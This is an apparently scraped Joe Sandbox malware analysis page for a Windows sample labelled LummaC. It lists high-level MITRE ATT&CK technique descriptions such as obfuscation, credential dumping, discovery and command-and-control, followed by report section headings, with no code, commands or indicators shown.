Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Windows Analysis Report
file.exe